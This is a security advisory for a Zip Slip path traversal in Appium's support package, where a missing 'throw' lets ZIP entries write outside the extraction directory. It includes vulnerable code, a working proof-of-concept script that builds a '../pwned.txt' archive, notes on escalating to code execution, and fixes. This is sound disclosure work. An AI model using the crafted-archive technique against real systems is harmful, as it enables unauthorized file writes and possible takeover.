CVE-2026-30973

Description

## Summary `@appium/support` contains a ZIP extraction implementation (`extractAllTo()` via `ZipExtractor.extract()`) with a path traversal (Zip Slip) check that is non-functional. The check at line 88 of `packages/support/lib/zip.js` creates an `Error` object but never throws it, allowing malicious ZIP entries with `../` path components to write files outside the intended destination directory. This affects all JS-based extractions (the default code path), not only those using the `fileNamesEncoding` option. ## Severity **Medium** (CVSS 3.1: 6.5) `CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N` - **Attack Vector:** Network — malicious ZIP files can be supplied over the network (e.g., app packages via URL) - **Attack Complexity:** Low — no special conditions required beyond providing a crafted ZIP - **Privileges Required:** None — no authentication needed to supply a malicious archive - **User Interaction:** Required — a user or automation system must initiate extraction of the attacker's archive - **Scope:** Unchanged — impact stays within the file system permissions of the Appium process - **Confidentiality Impact:** None — the vulnerability enables file writes, not reads - **Integrity Impact:** High — arbitrary file write to any location writable by the process - **Availability Impact:** None — no direct availability impact ## Affected Component - `packages/support/lib/zip.js` — `ZipExtractor.extract()` (line 88) and `ZipExtractor.extractEntry()` (lines 111-145) ## CWE - **CWE-22**: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') ## Description ### Missing `throw` renders Zip Slip protection non-functional The `ZipExtractor.extract()` method contains a path traversal check intended to prevent Zip Slip attacks. However, the check creates an `Error` object as a bare expression without the `throw` keyword, making it a no-op: ```javascript // packages/support/lib/zip.js, lines 80-93 const destDir = path.dirname(path.join(dir, fileName)); try { await fs.mkdir(destDir, {recursive: true}); const canonicalDestDir = await fs.realpath(destDir); const relativeDestDir = path.relative(dir, canonicalDestDir); if (relativeDestDir.split(path.sep).includes('..')) { new Error( // <-- BUG: missing `throw` `Out of bound path "${canonicalDestDir}" found while processing file ${fileName}` ); } await this.extractEntry(entry); // extraction proceeds unconditionally ``` The presence of a well-formatted error message and surrounding try/catch block (lines 95-99) strongly suggests the `throw` keyword was accidentally omitted. ### yauzl does not provide its own traversal protection The upstream `yauzl` library explicitly [does not offer path traversal protection](https://github.com/thejoshwolfe/yauzl#no-path-traversal-protection) regardless of the `decodeStrings` setting. This means the vulnerability affects **all** JS-based extractions through `ZipExtractor`, not only those where `fileNamesEncoding` is set. The `fileNamesEncoding` option bypasses yauzl's string decoding (`decodeStrings: false`), but even with `decodeStrings: true`, yauzl passes through `../` path components without rejection. ### Unprotected write sinks The `extractEntry` method writes to attacker-controlled paths with no additional validation: ```javascript // packages/support/lib/zip.js, lines 111-145 const fileName = this.extractFileName(entry); const dest = path.join(dir, fileName); // resolves ../pwned.txt outside dir // ... await fs.symlink(link, dest); // symlink creation (line 143) await pipeline(readStream, fs.createWriteStream(dest, {mode: procMode})); // file write (line 145) ``` Additionally, `_extractEntryTo()` (line 263) used by `readEntries()` has no traversal check at all: ```javascript const dstPath = path.resolve(destDir, entry.fileName); // no validation ``` ### Default code path is vulnerable The `extractAllTo()` function uses the JS-based `ZipExtractor` by default. The system unzip fallback (`useSystemUnzip: true`) must be explicitly enabled and only provides protection if the system binary succeeds: ```javascript // packages/support/lib/zip.js, lines 203-210 if (opts.useSystemUnzip) { try { await extractWithSystemUnzip(zipFilePath, dir); return; } catch (err) { log.warn('unzip failed; falling back to JS: %s', err.stderr || err.message); // Falls through to the vulnerable JS implementation } } ``` ## Proof of Concept ```bash # 1) Install deps for the support package cd packages/support npm install --omit=dev --ignore-scripts --no-audit --no-fund --workspaces=false # 2) Create a malicious ZIP containing a traversal entry export WORK=/tmp/appium_zip_slip_poc rm -rf "$WORK" && mkdir -p "$WORK/dest" python3 - <<'PY' import zipfile, os work = os.environ['WORK'] zip_path = os.path.join(work, 'evil.zip') with zipfile.ZipFile(zip_path, 'w') as z: z.writestr('../pwned.txt', 'ZIPSLIP_MARKER') print('created', zip_path) PY # 3) Extract with the JS implementation (default path, no fileNamesEncoding needed) node --experimental-default-type=module --experimental-specifier-resolution=node - <<'NODE' import path from 'node:path'; import fs from 'node:fs/promises'; import { extractAllTo } from './lib/zip.js'; const work = process.env.WORK; const zipPath = path.join(work, 'evil.zip'); const dest = path.join(work, 'dest'); await extractAllTo(zipPath, dest, { useSystemUnzip: false }); const outside = path.join(work, 'pwned.txt'); console.log('outside exists?', await fs.stat(outside).then(() => true, () => false)); console.log('outside content:', (await fs.readFile(outside, 'utf8')).trim()); NODE # Expected output: # outside exists? true # outside content: ZIPSLIP_MARKER ``` ## Impact - **Arbitrary file write**: An attacker can write files to any location writable by the Appium process, outside the intended extraction directory. - **Arbitrary symlink creation**: Malicious ZIP entries with symlink attributes can create symlinks pointing to arbitrary targets, enabling further attacks on subsequent file operations. - **Potential code execution**: By overwriting scripts, configuration files, `node_modules` contents, cron jobs, shell profiles, or other executable artifacts, arbitrary file write can chain into remote code execution. - **Affects all JS-based extractions**: The default code path (without `useSystemUnzip: true`) is vulnerable regardless of whether `fileNamesEncoding` is set. ## Recommended Remediation ### Option 1: Add the missing `throw` keyword (preferred — minimal fix) ```javascript // packages/support/lib/zip.js, line 88 if (relativeDestDir.split(path.sep).includes('..')) { throw new Error( // Add `throw` `Out of bound path "${canonicalDestDir}" found while processing file ${fileName}` ); } ``` This is the lowest-risk fix: it restores the clearly intended behavior of the existing check. The try/catch block at lines 95-99 will catch the error, set `canceled = true`, close the zip, and reject the promise — exactly the designed error-handling flow. ### Option 2: Add traversal protection to `_extractEntryTo` as well The `_extractEntryTo` function (line 262) also lacks a traversal check. For defense-in-depth, add validation there too: ```javascript async function _extractEntryTo(zipFile, entry, destDir) { const dstPath = path.resolve(destDir, entry.fileName); const canonicalDest = path.resolve(dstPath); const canonicalDestDir = path.resolve(destDir); if (!canonicalDest.startsWith(canonicalDestDir + path.sep) && canonicalDest !== canonicalDestDir) { throw new Error( `Out of bound path "${canonicalDest}" found while processing file ${entry.fileName}` ); } // ... rest of function } ``` ## Credit This vulnerability was discovered and reported by [bugbunny.ai](https://bugbunny.ai).